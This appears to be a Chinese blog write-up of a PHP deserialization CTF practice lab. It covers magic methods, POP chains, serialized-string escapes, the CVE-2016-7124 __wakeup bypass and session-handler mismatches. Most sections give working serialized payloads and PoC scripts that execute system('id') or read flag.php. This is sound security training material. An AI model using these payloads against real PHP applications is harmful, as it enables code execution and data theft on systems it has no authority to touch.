重庆橙子科技 php反序列化靶场 学习记录

反序列化漏洞

先看代码:

定义了一个类test,a是字符串,再定义了一个方法,执行test类成员a命令

get传参为benben,然后反序列benben变量,再执行反序列的displayvar方法

反序列的漏洞就是利用反序列执行方法是针对反序列的值,而不是调用本来定义的值。也就是说,让程序反序列我们想执行的命令,然后利用方法对其调用

将a定义为system('id');  这样调用方法最终就是执行eval(system('id');)

类的反序列格式:

O:类名长度:"类名":类的参数数量:{s:变量的数量:"变量名";s:变量长度:"变量值";};

?benben=O:4:"test":1:{s:1:"a";s:13:"system('id');";};

魔术方法

_destruct()

触发时机:对象的所有引用被删除或者当对象被显式销毁时(实例化对象、反序列化)

该代码可见最终将get参数进行反序列化,这是_destruct函数的触发时机,能执行eval命令

传入参数和上题一样,目的在于执行system('id')命令


_sleep()

触发时机:序列化serialize()之前

功能:清理对象,即返回一个包含对象所有属性中应被序列化的变量名的数组

看这题代码:

定义了一个User类,三个变量以及_construct()、_sleep()魔术方法

serialize()序列化之前会触发_sleep()魔术方法,并且_sleep()定义system(username的值),这是执行命令的关键,只需要将username赋值为id即可

在实例化对象时,cmd等于我们传入的参数,赋值给username,a为nickname,b为password

我们只需要将benben=id即可


_wakeup()

触发时机:在unserialize()之前

由于这题是要进行反序列化,需要将user_er构造成反序列的值,将username值设置为id 

?benben=O:4:"User":1:{s:8:"username";s:2:"id";}


了解POP调用链

查看代码,evil里的eval()是关键,需要使test2=“system('id');”  然后执行action,这样才能执行命令

但是源代码无法执行evil(),反而会执行normal()

所以需要使    

$this->test = new normal(); 

变为

$this->test=new evil();

才会执行evil()语句

而我们无法更改代码,关键在于传入的test,与源代码无关,我们只需要构造序列化,使源代码再进行反序列化即可

<?php

class index {
    private $test;
    public function __construct(){
        $this->test=new evil();
    }
    // public function __destruct(){
    //     $this->test->action();
    // }
}
// class normal {
//     public function action(){
//         echo "please attack me";
//     }
// }
class evil {
    var $test2="system('id');";
}
$a=new index();
echo serialize($a);
?> 

得到序列化结果

O:5:"index":1:{s:11:"indextest";O:4:"evil":1:{s:5:"test2";s:13:"system('id');";}}

但index中的index,是private成员,序列化结果需要将indextest改成%00index%00test

?test=O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:13:"system('id');";}} 


了解魔术方法

这题要求我们触发tostring魔术方法,

tostring()的触发时机:把对象被当成字符串调用(使用echo 或者print)

wakeup()的触发时机:在unserialize()之前

fast中有echo $this->source,所以我们只需要将source赋值为new sec(),字符串输出sec的实例化对象,就能触发tostring

<?php
class fast {
    public $source;
    }
class sec {
    var $benben="benben";
    }

$a=new sec();
$b=new fast();

$b->source=$a;
echo serialize($b);

O:4:"fast":1:{s:6:"source";O:3:"sec":1:{s:6:"benben";s:6:"benben";}}


POP链

分析各值,使用倒推法

 编写poc

<?php
class Modifier {
    private $var="flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$mod=new Modifier();
$test=new Test();
$show=new Show();
$test->p=$mod;
$show->source=$show;
$show->str=$test;

echo serialize($show);
?> 

得到反序列 

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}} 

get传参 


字符串逃逸————减少

这题主要是利用hk会替代flag,导致字符串逃逸,并且只能传入user和pass的值,关键在于要将vip改为True

变量的值是从哪到哪由前面的变量长度这一数字决定

这样就可以将vip的反序列化传入,从而定义vip的值

<?php


function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}

class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}

$param="flagflagflagflagflagflagflagflagflagflag";
$pass='1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';

$a=serialize(new test($param,$pass));
echo $a;
//O:4:"test":3:{s:4:"user";s:40:"flagflagflagflagflagflagflagflagflagflag";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}


$profile=filter($a);
echo $profile;
//{s:4:"user";s:40:"hkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:42:"1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}

 get传参输入

user=flagflagflagflagflagflagflagflagflagflag

pass=1";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}


字符串逃逸————增多

php替换成hack,属于增多类型,能将后面的命令挤出去

简单来说就是     s:12:"phpphpphp";x"

                           s:12:"hackhackhack";x"

这样就把想定义的pass给挤出去,构造了一个正确的序列化结果

O:4:"test":2:{s:4:"user";s:?:"php.....php";s:4:"pass";s:8:"escaping";}

设有x个php,加粗部分长度为29,共    3*x+29

O:4:"test":2:{s:4:"user";s:?:"hack.....hack";s:4:"pass";s:8:"escaping";}

则共有x个hack,长度为4*x   

4*x=3*x+29

x=29

所以需要29个php,才能把后面的挤出去

param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

代码验证

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';   
    function __construct($user){
        $this->user=$user;
    }
}                               
$p='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';
                               
$param=serialize(new test($p));                                                    
echo $param;
//O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
$profile=filter($param);
echo $profile;
//O:4:"test":2:{s:4:"user";s:116:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
?>

get传参 

 查看源代码 


__wakeup()绕过 

代码审计:

get传参输入cmd,判断cmd不能为空,否则高亮显示源代码;

再进行正则匹配,'/[oc]:\d+:/i' 表示O/o:后面不能接数字,那么我们的反序列化O:6:"secret":.....不能使用,但是O:+6:"secret":.....可以使用

反序列化之前,触发__wakeup(),file=“index.php”

反序列化之后,触发__destruct(),输出flag,但是flag在flag.php中

所以这题需要绕过__wakeup(),并定义file=“flag.php”

绕过__wakeup()叫CV6-2016-7124漏洞:

若序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行

例如这一题:
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}

O:6:"secret":2:{s:4:"file";s:8:"flag.php";}    这样绕过了__wakeup()

但正则表达式的过滤,需要再更改为

O:+6:"secret":2:{s:4:"file";s:8:"flag.php";} 

cmd=O:+6:"secret":2:{s:4:"file";s:8:"flag.php";} 

再url编码:

O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

get传参:


序列化引用例题

关键在于要使enter===secret(等于*)

但我们无法直接定义enter=*,因为出现*会被替换成  \*

这题需要用到引用,让enter的值等于secret

$a->enter=&$a->secret;

<?php

class just4fun {
    var $enter;
    var $secret;
}

$a=new just4fun();
$a->enter=&$a->secret;
echo serialize($a);

结果为:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

get传参


session反序列化

session反序列化漏洞利用的是存储和读取的方式不一致

在这一题中,hint.php文件存储session采用的方式是php_serialize

                      index.php文件读取session采用的是php

index.php

 hint.php

要保证name=her,需要采用引用的方式:

$a->name=&$a->her;

<?php
class Flag{
    public $name;
    public $her;
}
$a=new Flag();
$a->name=&$a->her;
echo serialize($a);
?> 

O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

根据存储格式

在hint.php中传参a

a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

php_serialize 存储为

a=a:1:{s:1:"a";s:43:"|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}

php读取

a=a:1:{s:1:"a";s:43:"|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}";}

php存储:       键名+ |   +  经过serialize()序列化处理的值

然后php对O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}进行反序列化,才会触发__wakeup(),进而才会使name==her,从而输出flag

再读取index.php,得到flag


靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场学习者提供了一个安全学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值